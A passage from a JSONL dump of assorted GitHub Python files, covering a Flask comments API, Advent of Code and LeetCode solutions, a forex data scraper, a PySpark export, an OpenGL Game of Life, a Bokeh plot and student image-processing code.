text!\"}), 400\n for i in comments[post_id]:\n if i[\"id\"] == comment_id:\n i[\"text\"] = text\n return json.dumps(i), 200\n return json.dumps({\"error\": \"Comment Not Found on Post!\"}), 404\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8000, debug=True)\n","repo_name":"elijahdukes/backend_routes","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31759325590","text":"layers = dict()\nmax_layer = 0\nfor line in open(\"Resources/input13.txt\"):\n lay,size = line.strip().split(\": \")\n layers[int(lay)] = int(size)\n max_layer = max(max_layer,int(lay))\n\npart1 = 0\nfor t in range(max_layer+1):\n if t in layers:\n if t % ((layers[t]-1)*2) == 0:\n part1 += t*layers[t]\nprint(\"Part 1:\",part1)\n\ndelay = 0\nwhile True:\n valid = True\n for t in range(max_layer+1):\n if t in layers:\n if (t+delay) % ((layers[t]-1)*2) == 0:\n valid = False\n break\n if valid:\n break\n delay += 1\nprint(\"Part 2:\",delay)","repo_name":"andrewfroehlich/AdventOfCode","sub_path":"2017/problem13.py","file_name":"problem13.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"21664481797","text":"# python comment\n# variables-text.py\n# created Mark Boomer\n\n# Creating a string (we must use either single or double quotes)\nname = 'Your Name Here'\nprint(name)\n\n# Modify an existing string variable\n# If we were using double quotes: name = \"New Name\"\nname = 'New Name'\nprint(name)\nname = \"Mark Boomer\"\nprint(name)\n\n# none = null\n# name = none means name has no value assigned to it\n\n# Creating an integer\nlives = 3\nprint(lives)\n\n# Creating a float\nspeed = 10.1\nprint(speed)\n\n# Boolean variables\nis_game_over = False\nactive = True\n\n# print in the type of variable in the console\nprint(\"Data Type for Lives : \")\nprint(type(lives))\n\nx_pos = 5 # int\nspeed = 2.5 # float\nis_game_over = False # boolean\ncharacter_name = 'Nimish' # string\n\nx_pos = speed # x_pos = 2.5\n\nis_game_over = not is_game_over # is_game_over = true\n\ninput_name = input(\"Enter name : \")\noutput_name = \"Hello \" + input_name\nprint(output_name)\n\nnew_pos = x_pos + speed # new_pos = 5\nprint(new_pos)\n\n# modulus operator %\nmod_x_pos = x_pos % 2 # mod_x_pos = 1\n\n# floor operator // is opposite of modulus\nfloor_div_pos = x_pos // 2 # floor_div_xpos = 2\n\n# conditional: > >= < <= != ==\n\n","repo_name":"mboomer/pygame","sub_path":"variables_text.py","file_name":"variables_text.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73709381668","text":"from pyspark.sql import SparkSession\n\nspark = SparkSession.builder\\\n .appName(\"BDT Project\")\\\n .config(\"spark.sql.catalogImplementation\",\"hive\")\\\n .config(\"hive.metastore.uris\", \"thrift://sandbox-hdp.hortonworks.com:9083\")\\\n .config(\"spark.sql.avro.compression.codec\", \"snappy\")\\\n .enableHiveSupport()\\\n .getOrCreate()\n\n\n\ntrain = spark.read.format(\"avro\").table('projectdb.train')\ntrain.createOrReplaceTempView('train')\n\ntest = spark.read.format(\"avro\").table('projectdb.test')\ntest.createOrReplaceTempView('test')\n\ntrain.write.format('csv').option('header', 'true').mode('overwrite').option('path', 'data/new_train.csv').save()\ntest.write.format('csv').option('header', 'true').mode('overwrite').option('path', 'data/new_test.csv').save()\n\nspark.stop()","repo_name":"Jayveersinh-Raj/trip_duration_big_data","sub_path":"scripts/GetFiles.py","file_name":"GetFiles.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7936010313","text":"import sqlite3\nfrom collections import Counter\n\n# connect to the database\nconn = sqlite3.connect('mydatabase.db')\ncursor = conn.cursor()\n\n# execute the SQL query and retrieve the results as a list of tuples\nquery = '''\n SELECT master_metadata_track_name\n FROM mytable\n GROUP BY master_metadata_track_name\n'''\nresults = cursor.execute(query).fetchall()\n\n# flatten the list of tuples into a list of song titles\nsong_titles = [title for (title,) in results]\n\n# count the occurrences of each word in the song titles using Counter\nword_counts = Counter()\nfor title in song_titles:\n if title is None:\n continue\n words = title.split()\n word_counts.update(words)\n\n# print the 10 most common words\nfor word, count in word_counts.most_common(300):\n print(word, count)","repo_name":"pldubouilh/spotify-gdpr-dump-analysis","sub_path":"top-words-in-songtitle.py","file_name":"top-words-in-songtitle.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"71"} +{"seq_id":"8189887126","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nCreated on Mon Apr 5 22:49:17 2021\r\n\r\n@author: Manav\r\n\"\"\"\r\n\"\"\"\r\nCreating a function named `calculate()` in `mean_var_std.py` that uses Numpy to \r\noutput the mean, variance, standard deviation, max, min, and sum of the rows, \r\ncolumns, and elements in a 3 x 3 matrix.\r\n\"\"\"\r\nimport numpy as np\r\nfrom array import *\r\n\r\ndef calculate(list):\r\n arr = np.array(list).reshape(3,3)\r\n \r\n mean_col = np.mean(arr, axis = 0)\r\n l_mean_col = mean_col.tolist()\r\n mean_row = np.mean(arr, axis = 1)\r\n l_mean_row = mean_row.tolist()\r\n mean_arr = np.mean(arr)\r\n l_mean_arr = mean_arr.tolist()\r\n l_mean = [l_mean_col, l_mean_row, l_mean_arr]\r\n mean = (\"Mean :-\",l_mean)\r\n mean_str = \"\".join(map(str,mean))\r\n \r\n std_col = np.std(arr, axis = 0)\r\n l_std_col = std_col.tolist()\r\n std_row = np.std(arr, axis = 1)\r\n l_std_row = std_row.tolist()\r\n std_arr = np.std(arr)\r\n l_std_arr = std_arr.tolist()\r\n l_std = [l_std_col,l_std_row,l_std_arr]\r\n std = (\"Std Deviation: \",l_std)\r\n std_str = \"\".join(map(str,std))\r\n \r\n var_col = std_col**2\r\n l_var_col = var_col.tolist()\r\n var_row = std_row**2\r\n l_var_row = var_row.tolist()\r\n var_arr = std_arr**2\r\n l_var_arr = var_arr.tolist()\r\n l_var = [l_var_col,l_var_row,l_var_arr]\r\n var = (\"Variance:- \", l_var)\r\n var_str = \"\".join(map(str,var))\r\n \r\n max_col = np.max(arr,axis = 0)\r\n l_max_col = max_col.tolist()\r\n max_row = np.max(arr, axis = 1)\r\n l_max_row = max_row.tolist()\r\n max_arr = np.max(arr)\r\n l_max_arr = max_arr.tolist()\r\n l_max = [l_max_col,l_max_row,l_max_arr]\r\n maxi = (\"Maximum:- \",l_max)\r\n maxi_str = \"\".join(map(str,maxi))\r\n \r\n min_col = np.min(arr,axis = 0)\r\n l_min_col = min_col.tolist()\r\n min_row = np.min(arr, axis = 1)\r\n l_min_row = min_row.tolist()\r\n min_arr = np.min(arr)\r\n l_min_arr = min_arr.tolist()\r\n l_min = [l_min_col,l_min_row,l_min_arr]\r\n mini = (\"Minimum:- \",l_min)\r\n mini_str = \"\".join(map(str,mini))\r\n \r\n print(mean_str)\r\n print(var_str)\r\n print(std_str)\r\n print(maxi_str)\r\n print(mini_str)\r\n \r\na= calculate([0.103,0.072,0.071,0.077,0.086,0.047,0.060,0.050,0.070])\r\n","repo_name":"manavagarwal1105/My-Files","sub_path":"Python Proj/Statistical Calculators/Mean_Var_Std Calc.py","file_name":"Mean_Var_Std Calc.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"31623345908","text":"# @Time : 2022-08-09 20:32\n# @Author : Phalange\n# @File : 129. 求根节点到叶节点数字之和.py\n# @Software: PyCharm\n# C'est la vie,enjoy it! :D\n\n\n\n# Definition for a binary tree node.\nfrom typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def __init__(self):\n self.ans = []\n self.tmp = []\n\n\n def sumNumbers(self, root: Optional[TreeNode]) -> int:\n\n def dfs(node):\n if node == None:\n\n # self.ans.append(\n # sum([self.tmp[i] * (10 ** (len(self.tmp) - i-1)) for i in range(len(self.tmp) - 1, -1, -1)]))\n # #self.tmp.append(None)\n # print(self.tmp)\n\n return\n self.tmp.append(node.val)\n if node.right == None and node.left == None:\n self.ans.append(\n sum([self.tmp[i] * (10 ** (len(self.tmp) - i - 1)) for i in range(len(self.tmp) - 1, -1, -1)]))\n print(self.tmp)\n self.tmp.pop()\n return\n dfs(node.left)\n\n dfs(node.right)\n self.tmp.pop()\n\n\n dfs(root)\n\n return sum(self.ans)\n\n\nmyTree = TreeNode(4,left=TreeNode(9,left=TreeNode(5),right=TreeNode(1)),right=TreeNode(0))\n#myTree = TreeNode(1,left=TreeNode(0))\nprint(Solution().sumNumbers(myTree))\n\n\n","repo_name":"enternityFan/LeetCodePythonVersion","sub_path":"树/129. 求根节点到叶节点数字之和.py","file_name":"129. 求根节点到叶节点数字之和.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"20954588203","text":"#!/usr/bin/env python3\n\n\"\"\"python script with bug to test debugger\"\"\"\n\n__appname__ = 'debugme.py'\n__author__ = 'Wenhua Zhou (wz2812@ic.ac.uk)'\n__version__ = '0.0.1'\n\ndef createabug(x):\n \"\"\" create a but for debugger \"\"\"\n y = x**4\n z = 0.\n import ipdb; ipdb.set_trace()\n y = y/z\n return y\n\ncreateabug(25)","repo_name":"NelsonZhouwenhua/CMEECoursework","sub_path":"Week2/Code/debugme.py","file_name":"debugme.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"41022609588","text":"import sys\r\nimport requests\r\n\r\n__api_url = \"http://localhost:9090/api/v1\"\r\n\r\n\r\ndef print_workspaces(wkspaces):\r\n line = \"Name: {0}, path: {1}\"\r\n for wkspace in wkspaces:\r\n print(line.format(wkspace[\"name\"],\r\n wkspace[\"path\"]))\r\n\r\n\r\ndef get_workspaces():\r\n url = __api_url + \"/wkspaces\"\r\n req = requests.get(url)\r\n if req.status_code is 200:\r\n return req.json()\r\n print(\"Workspace list could not be retrieved.\", file=sys.stderr)\r\n exit(-1)\r\n\r\n\r\ndef main():\r\n try:\r\n print_workspaces(get_workspaces())\r\n except requests.RequestException as e:\r\n print(e, file=sys.stderr)\r\n exit(-1)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"PlasticSCM/api-rest-examples","sub_path":"python_examples/cm_lwk_example.py","file_name":"cm_lwk_example.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"71"} +{"seq_id":"31249196589","text":"\"\"\"HistDataScraper\nA simple web scraper that downloads forex history data from HistData.\nAfter the download the zip-files get extracted and then merged, based upon the forex pair.\nThe scraper can run without any parameters and will create an appropriate directory structure from\nworking directory.\n\nWhen only a specific task should be executed you can give the program a parameter.\nThis parameter is a combination of any of the letter s(scrape), e(extract) and m(merge) without a\nspecific order.\nAdditional you can add an f(full) to the parameter to do a cleanup of old files before the tasks are\nexecuted,\ndefault is only incremental downloads and extractions. Merges are always full.\n\nExample:\n If you just want to extract all zip folders and merge them the program call would be:\n\n $ python hds.py em\n\nIt is required to have firefox installed and a version of geckodriver in the same folder as the\nprogram. (https://github.com/mozilla/geckodriver/releases).\n\"\"\"\nimport os\nimport re\nimport shutil\nimport sys\nimport time\nimport zipfile\nfrom datetime import datetime, timezone\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.options import Options\n\n\ndef setup_driver(download_dir):\n \"\"\"Setup the firefox geckodriver to be headless and proper options for downloading.\n\n Args:\n download_dir (str): The path to the new default download folder.\n\n Returns:\n selenium.webdriver.Firefox: The setup geckodriver.\n \"\"\"\n options = Options()\n # options.headless = True\n options.set_preference(name='browser.download.folderList', value=2)\n options.set_preference(name='browser.download.manager.showWhenStarting', value=False)\n options.set_preference(name='browser.download.dir', value=download_dir)\n options.set_preference(name='browser.helperApps.neverAsk.saveToDisk', value='application/octet-stream')\n return webdriver.Firefox(options=options)\n\n\ndef scrap(output_folder, full=False):\n \"\"\"Scrap the Forex data from the web.\n\n Args:\n output_folder: Path to the download folder.\n full (bool): Full download or incremental; default false.\n \"\"\"\n base_url = 'http://www.histdata.com'\n url = base_url + '/download-free-forex-data/?/metastock/1-minute-bar-quotes'\n commodities = ['WTI/USD', 'BCO/USD']\n indexes = ['SPX/USD', 'JPX/JPY', 'NSX/USD', 'FRX/EUR', 'UDX/USD',\n 'UKX/GBP', 'GRX/EUR', 'AUX/AUD', 'HKX/HKD', 'ETX/EUR']\n os.makedirs(output_folder, exist_ok=True)\n # last_file = ''\n to_be_removed = set()\n current_year = datetime.now().year\n if not os.listdir(output_folder):\n full = True\n for old_file in sorted(os.listdir(output_folder)):\n if full:\n os.remove(os.path.join(output_folder, old_file))\n elif '.part' in old_file:\n to_be_removed.add(old_file)\n to_be_removed.add(old_file[:-5])\n elif len(old_file) == 35 and int(old_file[25:-6]) < current_year:\n to_be_removed.add(old_file)\n # removed as histdata now uploads only full month data and not partially filled ones\n # elif last_file != '' and last_file[:22] != old_file[:22]:\n # test1 = last_file[:22]\n # test2 = old_file[:22]\n # to_be_removed.add(last_file)\n # last_file = old_file\n for part in to_be_removed:\n if os.path.exists(os.path.join(output_folder, part)):\n os.remove(os.path.join(output_folder, part))\n\n forex_pair_links = BeautifulSoup(requests.get(url).text, 'lxml')\n forex_pair_link_elements = forex_pair_links.find(class_='page-content').select('a[title]')\n forex_pair_urls = [tag.get('href') for tag in forex_pair_link_elements if\n tag.get_text() not in commodities and tag.get_text() not in indexes]\n last_periods = {}\n driver = setup_driver(output_folder)\n\n driver.implicitly_wait(1)\n try:\n for i, forex_pair_url in enumerate(forex_pair_urls):\n date_links = BeautifulSoup(requests.get(base_url + forex_pair_url).text, 'lxml')\n date_link_elements = date_links.find(class_='page-content').select('a[title]')\n reg = re.compile('\\\\d+.*')\n last_period = reg.findall(date_link_elements[0].get('title'))[0]\n last_periods[forex_pair_url.rsplit('/', 1)[-1]] = last_period\n date_urls = [tag.get('href') for tag in date_link_elements]\n for j, date_url in enumerate(date_urls):\n link = BeautifulSoup(requests.get(base_url + date_url).text, 'lxml').find(id='a_file')\n if ''.join(link.get_text().rsplit('_', 1)) not in os.listdir(output_folder):\n driver.get(base_url + date_url)\n driver.execute_script('jQuery(\"#file_down\").submit();')\n print(\n '\\r' + ' Download: ' + str(i + 1).zfill(len(str(len(forex_pair_urls)))) + '/' + str(\n len(forex_pair_urls)) + ' forex pairs - ' + str(j + 1).zfill(\n len(str(len(date_urls))))\n + '/' + str(len(date_urls)) + ' single files', end='', flush=True)\n print('\\n')\n\n driver.get('about:downloads')\n while True:\n time.sleep(1)\n try:\n driver.find_element(By.CSS_SELECTOR, 'button.downloadButton.downloadIconCancel')\n except NoSuchElementException:\n break\n with open(os.path.join(output_folder, 'output.log'), 'w') as log:\n log.write('Historic Forex Data \\nLast date checked: ' + datetime.now(timezone.utc).isoformat() +\n '\\nTyp of check: ' + ('full' if full else 'incremental') + '\\nLast periods of available data:')\n for currency, period in last_periods.items():\n log.write('\\n\\t' + currency + ': ' + period)\n finally:\n driver.quit()\n\n\ndef extract(input_folder, output_folder, full=False):\n \"\"\"Extract the downloaded csv files.\n\n Args:\n input_folder (str): Path to input folder.\n output_folder (str): Path to output folder.\n full (bool): Full extraction or incremental; default false.\n \"\"\"\n os.makedirs(input_folder, exist_ok=True)\n os.makedirs(output_folder, exist_ok=True)\n if full:\n for old_file in os.listdir(output_folder):\n os.remove(os.path.join(output_folder, old_file))\n\n files = os.listdir(input_folder)\n for i, file in enumerate(files):\n if file.endswith('.zip'):\n if file[:-4] + '.csv' not in os.listdir(output_folder):\n file = os.path.join(input_folder, file)\n with zipfile.ZipFile(file, 'r') as zip_ref:\n zip_ref.extractall(output_folder)\n print('\\r' + ' Extracting: ' + str(i + 1).zfill(len(str(len(files)))) + '/' + str(\n len(files)), end='', flush=True)\n else:\n if file.endswith('.log'):\n shutil.copyfile(os.path.join(input_folder, file), os.path.join(output_folder, file))\n print('\\n')\n\n\ndef merge(input_folder, output_folder):\n \"\"\"Merges the extracted csv files according to their currency-pair.\n\n Args:\n input_folder (str): Path to input folder.\n output_folder (str): Path to output folder.\n \"\"\"\n os.makedirs(input_folder, exist_ok=True)\n os.makedirs(output_folder, exist_ok=True)\n for old_file in os.listdir(output_folder):\n old_file = os.path.join(output_folder, old_file)\n os.remove(old_file)\n csv_files = [a for a in os.listdir(input_folder) if a.endswith('.csv')]\n csv_files.sort()\n for i, csv_file in enumerate(csv_files):\n reg = re.compile('.+(?=_\\\\d*)')\n with open(os.path.join(output_folder, reg.match(csv_file).group() + '.csv'),\n 'a') as outfile:\n csv_file = os.path.join(input_folder, csv_file)\n with open(csv_file) as infile:\n for line in infile:\n outfile.write(line)\n print('\\r' + ' Merging: ' + str(i + 1).zfill(len(str(len(csv_files)))) + '/'\n + str(len(csv_files)), end='', flush=True)\n if os.path.exists(os.path.join(input_folder, 'output.log')):\n shutil.copyfile(os.path.join(input_folder, 'output.log'), os.path.join(output_folder, 'output.log'))\n\n print('\\n')\n\n\ndef main():\n \"\"\"Main function\n\n Checks for any system arguments described in the module documentation and initializes the\n module.\n \"\"\"\n root_dir = os.getcwd()\n data_dir = os.path.join(root_dir, 'data')\n zip_dir = os.path.join(data_dir, 'zipped')\n raw_dir = os.path.join(data_dir, 'raw')\n out_dir = os.path.join(data_dir, 'Forex-1M')\n\n if len(sys.argv) == 1:\n scrap(zip_dir, False)\n extract(zip_dir, raw_dir, False)\n merge(raw_dir, out_dir)\n if len(sys.argv) == 2:\n if 's' in sys.argv[1]:\n scrap(zip_dir, 'f' in sys.argv[1])\n if 'e' in sys.argv[1]:\n extract(zip_dir, raw_dir, 'f' in sys.argv[1])\n if 'm' in sys.argv[1]:\n merge(raw_dir, out_dir)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"FabianStammen/HistDataScraper","sub_path":"hds.py","file_name":"hds.py","file_ext":"py","file_size_in_byte":9216,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"21164486031","text":"import pygame\nimport math\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nfrom .cube import Cube\nfrom .miscellaneous import show_axes\nfrom .board import Board\n\n\nclass GameLife():\n\n def __init__(self):\n self.c = Cube()\n self.board = Board(30, [4, 5, 6], [5, 6, 7])\n self.board.populate_board('center')\n\n self.fps = 60\n self.can_run = False\n\n self.pi = 3.1415\n self.ca_theta = self.pi/2\n self.ca_phi = self.pi/2\n self.angle_step = self.pi/10\n\n self.cr = 20.0\n\n self.cx = 0.0\n self.cy = 0.0\n self.cz = 20.0\n\n self.rotX = 0\n self.rotY = 0\n self.rotZ = 0\n\n pygame.key.set_repeat(200, 100)\n\n def set_fps(self, new_fps):\n self.can_run = True if new_fps > 0 else False\n self.fps = new_fps\n\n def process_key_press(self, events):\n tmp_cy_max = 0.75*self.cr\n tmp_old_ca_theta = self.ca_theta\n tmp_old_ca_phi = self.ca_phi\n tmp_old_cx = self.cx\n tmp_old_cy = self.cy\n tmp_old_cz = self.cz\n for event in events:\n if event.type == pygame.KEYDOWN:\n if event.key in [pygame.K_1]:\n self.board.calculate_next_step()\n if event.key in [pygame.K_q]:\n self.cr += 2\n if self.cr > 100:\n self.cr = 100\n if event.key in [pygame.K_e]:\n self.cr -= 2\n if self.cr < 20:\n self.cr = 20\n if event.key in [pygame.K_LEFT, pygame.K_a]:\n self.ca_phi += self.angle_step\n if self.ca_phi > 2*self.pi:\n self.ca_phi -= 2*self.pi\n if self.ca_phi < 0:\n self.ca_phi += 2*self.pi\n if event.key in [pygame.K_RIGHT, pygame.K_d]:\n self.ca_phi -= self.angle_step\n if self.ca_phi > 2*self.pi:\n self.ca_phi -= 2*self.pi\n if self.ca_phi < 0:\n self.ca_phi += 2*self.pi\n if event.key in [pygame.K_UP, pygame.K_w]:\n self.ca_theta -= self.angle_step\n if self.ca_theta > 0.75*self.pi:\n self.ca_theta = 0.75*self.pi\n if self.ca_theta < 0.25*self.pi:\n self.ca_theta = 0.25*self.pi\n if event.key in [pygame.K_DOWN, pygame.K_s]:\n self.ca_theta += self.angle_step\n if self.ca_theta > 0.75*self.pi:\n self.ca_theta = 0.75*self.pi\n if self.ca_theta < 0.25*self.pi:\n self.ca_theta = 0.25*self.pi\n self.cx = self.cr*math.sin(self.ca_theta)*math.cos(self.ca_phi)\n self.cz = self.cr*math.sin(self.ca_theta)*math.sin(self.ca_phi)\n self.cy = self.cr*math.cos(self.ca_theta)\n if abs(self.cy) > tmp_cy_max:\n self.cx = tmp_old_cx\n self.cy = tmp_old_cy\n self.cz = tmp_old_cz\n\n def run(self):\n if not self.can_run:\n return\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n screen = pygame.display.Info()\n gluPerspective(60, (screen.current_w/screen.current_h), 0.1, 200.0)\n glEnable(GL_DEPTH_TEST)\n glMatrixMode(GL_MODELVIEW)\n\n gluLookAt(self.cx, self.cy, self.cz,\n 0, 0, 0,\n 0.0, 1.0, 0.0)\n\n self.board.draw(None)\n show_axes(self.rotX, self.rotY, self.rotZ)\n","repo_name":"simmarum/game_of_life_3d","sub_path":"src/game_life.py","file_name":"game_life.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72940114470","text":"# Introducing the project dataset\n# For the final chapter, you'll be looking at some of the Gapminder datasets combined into one tidy file called \"gapminder_tidy.csv\". This data set is available as a pandas DataFrame under the variable name data.\n\n# It is always a good idea to begin with some Exploratory Data Analysis. Pandas has a number of built-in methods that help with this. For example, data.head() displays the first five rows/entries of data, while data.tail() displays the last five rows/entries. data.shape gives you information about how many rows and columns there are in the data set. Another particularly useful method is data.info(), which provides a concise summary of data, including information about the number of entries, columns, data type of each column, and number of non-null entries in each column.\n\n# Use the IPython Shell and the pandas methods mentioned above to explore this data set. How many entries and columns does this data set have?\n\n# Some exploratory plots of the data\n# Here, you'll continue your Exploratory Data Analysis by making a simple plot of Life Expectancy vs Fertility for the year 1970.\n\n# Your job is to import the relevant Bokeh modules and then prepare a ColumnDataSource object with the fertility, life and Country columns, where you only select the rows with the index value 1970.\n\n# Remember, as with the figures you generated in previous chapters, you can interact with your figures here with a variety of tools.\n# Perform necessary imports\nfrom bokeh.io import output_file, show\nfrom bokeh.plotting import figure\nfrom bokeh.models import HoverTool, ColumnDataSource\nimport pandas as pd\n\ndata = pd.read_csv('../Dataset/Interactive Data Visualization with Bokeh/gapminder_tidy.csv', index_col='Year')\n\n# Make the ColumnDataSource: source\nsource = ColumnDataSource(data={\n 'x' : data.loc[1970].fertility,\n 'y' : data.loc[1970].life,\n 'country' : data.loc[1970].Country,\n})\n\n# Create the figure: p\np = figure(title='1970', x_axis_label='Fertility (children per woman)', y_axis_label='Life Expectancy (years)',\n plot_height=400, plot_width=700,\n tools=[HoverTool(tooltips='@country')])\n\n# Add a circle glyph to the figure p\np.circle(x='x', y='y', source=source)\n\n# Output the file and show the figure\noutput_file('Bokeh_Output/gapminder.html')\nshow(p)","repo_name":"CodeInDna/Data_Scientist_With_Python","sub_path":"07_Interactive_Data_Visualizatiob_With_Bokeh/13_Case_Study.py","file_name":"13_Case_Study.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"73530104229","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 15 11:24:34 2017\n\n@author: howell\n\"\"\"\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport math\nimport random\nimport cv2\n\n\n\"\"\"Q1\"\"\"\n\"\"\"image: the image input\"\"\"\ndef gray_scale(image):\n \n im = np.array(image)\n \n #make gray_scale\n gray = im\n gray[:,:,0] = im[:,:,0]\n gray[:,:,1] = im[:,:,0]\n gray[:,:,2] = im[:,:,0]\n \n return gray\n\"\"\"\nm_input: the original image\nmethod: either uniform or gaussian\nk: the parameter user chooses for the method, odd number\nsigma: the parameter for gaussian \n\"\"\"\ndef blurring(m_input, method, k, sigma = 10, show = False):\n \n m_input = np.array(m_input) \n \n #make sure the image is in gray scale\n m_input = gray_scale(m_input)\n gray = np.array(m_input) \n \n #return gray\n \n #get the dimension of the picture\n row_len = gray.shape[0]\n col_len = gray.shape[1]\n #blurred = np.zeros((row_len, col_len))\n \n blurred = np.matrix.copy(gray)\n margin_width = int(k/2) \n half_k = int(k/2) #the width of the submatrix is k.\n \n #uniform blurring\n if method == \"uniform\":\n \n for i in range(margin_width, row_len - margin_width):\n for j in range(margin_width, col_len - margin_width):\n \n #extract submatrix\n submatrix = gray[np.ix_([i - half_k, i + half_k], \n [j - half_k, j + half_k])]\n \n #get mean of the submatrix\n blurred[i][j] = np.mean(submatrix)\n \n #gaussian blurring\n elif method == \"gaussian\":\n \n for i in range(margin_width, row_len - margin_width):\n for j in range(margin_width, col_len - margin_width):\n \n #get the weight matrix\n #submatrix = gray[np.ix_([i - half_k, i + half_k], [j - half_k, j + half_k])]\n submatrix = gray[(i - half_k):(i+half_k), (j - half_k): (j + half_k)]\n weight = np.zeros((k, k))\n \n for u in range(k):\n for v in range(k):\n weight[u][v] = (0.5/np.pi/sigma ** 2) * math.exp(-0.5 * \n ((u - half_k) ** 2 + (v - half_k) ** 2)/sigma ** 2)\n \n #normalize the weight matrix\n normal_weight = np.divide(weight, np.sum(weight))\n #return normal_weight, submatrix\n \n #multiplication\n blurred[i][j] = np.sum(normal_weight * submatrix[:, :, 0])\n \n if show == True:\n plt.imshow(blurred)\n \n return blurred\n \n\n'''\nAdd salt and pepper noise to image\nprob: Probability of the noise\n'''\ndef sp_noise(image, prob):\n \n output = np.array(image)\n image_2D = output[:,:,0]\n \n temp = np.zeros(image_2D.shape)\n thres = 1 - prob \n for i in range(image_2D.shape[0]):\n for j in range(image_2D.shape[1]):\n rdn = random.random()\n if rdn < prob:\n temp[i][j] = 0\n elif rdn > thres:\n temp[i][j] = 255\n else:\n temp[i][j] = image_2D[i][j]\n output[:,:,0], output[:,:,1], output[:,:,2] = temp, temp, temp \n \n plt.imshow(output)\n return output\n\n\"\"\"test\"\"\"\nim = Image.open('/Users/howellyu/Desktop/UCLA/Class/2017 Winter/PIC 16/W6/jason.jpg')\n\n#add salt & pepper noise\nsp_0 = gray_scale(im)\nsp_20 = sp_noise(im)\nsp_40 = sp_noise(im, 0.4)\nplt.imshow(sp_0)\nplt.imshow(sp_20)\nplt.imshow(sp_40)\n\n#blur with uniform \nblurring(sp_0, \"uniform\", 9, sigma = 10, show = True)\nblurring(sp_20, \"uniform\", 9, sigma = 10, show = True)\nblurring(sp_40, \"uniform\", 9, sigma = 10, show = True)\n\n#blur with gaussian \nblurring(sp_0, \"gaussian\", 9, sigma = 10, show = True)\nblurring(sp_20, \"gaussian\", 9, sigma = 10, show = True)\nblurring(sp_40, \"gaussian\", 9, sigma = 10, show = True)\n\n\n#im2 = Image.open('/Users/howellyu/Desktop/UCLA/Class/2017 Winter/PIC 16/W6/image2.jpg')\n#im3 = Image.open('/Users/howellyu/Desktop/UCLA/Class/2017 Winter/PIC 16/W6/image4.jpg')\n#blurring(im, \"uniform\", 20)\n#blurring(im, \"gaussian\", 10, 10)\n\n\n\n\"\"\"Q2\"\"\"\n\"\"\"\nmatrix_multi: return the sum of the element product of 2 matrices\n\"\"\"\ndef matrix_multi(M1, M2, return_total = True):\n \n #check dimension \n if (M1.shape != M2.shape):\n print(\"dimension not match\")\n # return M1, M2\n \n new_matrix = np.zeros(M1.shape)\n \n for i in range(M1.shape[0]):\n for j in range(M1.shape[1]):\n new_matrix[i][j] = M1[i][j] * M2[i][j]\n if return_total == False:\n return new_matrix\n return np.sum(new_matrix)\n\n\"\"\"\nm_input: image\noption: horizontal, vertical or both\n\"\"\"\ndef detect_edge(m_input, option):\n \n #3 by 3 operating matrix\n horizontal = np.array([[-1,0,1], [-2,0,2], [-1,0,1]])\n vertical = np.array([[1,2,1], [0,0,0], [-1,-2,-1]]) \n \n m_input = np.array(m_input)\n edge = m_input\n m = m_input[:,:,0]\n row_len = m_input.shape[0]\n col_len = m_input.shape[1]\n \n for i in range(0, row_len - 2):\n for j in range(0, col_len - 2):\n \n submatrix = m[i: (i + 3), :]\n submatrix = submatrix[:, j:(j+3)]\n Gx = matrix_multi(submatrix, horizontal)\n Gy = matrix_multi(submatrix, vertical)\n \n if option == \"horizontal\":\n edge[i][j] = Gx\n elif option == \"vertical\":\n edge[i][j] = Gy\n elif option == \"both\":\n edge[i][j] = np.sqrt(Gx**2 + Gy**2)\n \n plt.imshow(edge)\n return edge\n\"\"\"Test\"\"\"\ndetect_edge(im, \"vertical\")\ndetect_edge(im, \"horizontal\")\ndetect_edge(im, \"both\")\n\n \n\"\"\"Q3\"\"\"\n\"\"\"summation gives the sum of index * height, used to compute mean later\"\"\"\ndef summation(histogram, threshold, front = True):\n \n total = 0\n \n if front == True:\n for i in range(threshold):\n total += i * histogram[i]\n elif front == False:\n for i in range(threshold, 256):\n total += i * histogram[i]\n 